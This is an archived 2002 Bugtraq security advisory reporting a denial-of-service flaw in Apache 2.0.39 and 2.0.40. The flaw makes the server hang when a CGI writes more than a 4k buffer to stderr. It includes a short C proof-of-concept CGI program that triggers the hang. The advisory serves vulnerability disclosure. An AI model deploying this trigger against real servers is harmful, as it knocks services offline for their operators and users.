76512 2002-09-24 20:46 /82 rader/ <shaddup@hush.com> Importerad: 2002-09-24 20:46 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <1655> Ärende: Apache 2.0.(39|40) DOS (PHP!) ------------------------------------------------------------ -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -=~=-_-=~=-_-=~=- I put PHP in the title so I know this message will reach the "sekur1ty c0mmun1ty", that *knows* that PHP is bad, because it's easy to write insecure applications, unlike C. - -=~=-_-=~=-_-=~=- Problem: o Apache 2.0 (.39 and .40 tested) on Linuxx0r (and possibly other OS's) will hang on a write to stderr that is larger than the default buffer size (4k on Linux) Impact: o Local users can cause apache's httpd process to hang o Possible new DoS to look for in web apps that write user input to stderr! Tested on: o Linux (RedHat) o FreeBSD (did not show a problem, but not well tested) Notification: o The Apache Projekt was contacted July 9th, 2002 (http://nagoya.apache.org/bugzilla/show_bug.cgi?id=10515) - -=~=-_-=~=-_-=~=- Sample Code - -=~=-_-=~=-_-=~=- // Credit to: K.C. Wong #include <stdio.h> #include <time.h> #include <unistd.h> #include <fcntl.h> #define SIZE 4075 void out_err() { char buffer[SIZE]; int i = 0; for (i = 0; i < SIZE - 1; ++i) buffer[i] = 'a' + (char )(i % 26); buffer[SIZE - 1] = '\0'; // fcntl(2, F_SETFL, fcntl(2, F_GETFL) | O_NONBLOCK); fprintf(stderr, "short test\n"); fflush(stderr); fprintf(stderr, "test error=%s\n", buffer); fflush(stderr); } // out_err() int main(int argc, char ** argv) { fprintf(stdout, "Context-Type: text/html\r\n"); fprintf(stdout, "\r\n\r\n"); out_err(); fprintf(stdout, "<HTML>\n"); fprintf(stdout, "<body>\n"); fprintf(stdout, "<h1>hello world</h1>\n"); fprintf(stdout, "</body>\n"); fprintf(stdout, "</HTML>\n"); fflush(stdout); exit(0); } // main() -----BEGIN PGP SIGNATURE----- Version: Hush 2.1 Note: This signature can be verified at https://www.hushtools.com wlgEARECABgFAj2Pa0MRHHNoYWRkdXBAaHVzaC5jb20ACgkQ8iAl114OGrxaHwCgsmGs 262aOmBHEUw01ktoAADRIz0AoJOdidtdbVswjjp0sqn1uHW+EQCT =8PKT -----END PGP SIGNATURE----- Get your free encrypted email at https://www.hushmail.com (76512) / <shaddup@hush.com>/-------------(Ombruten)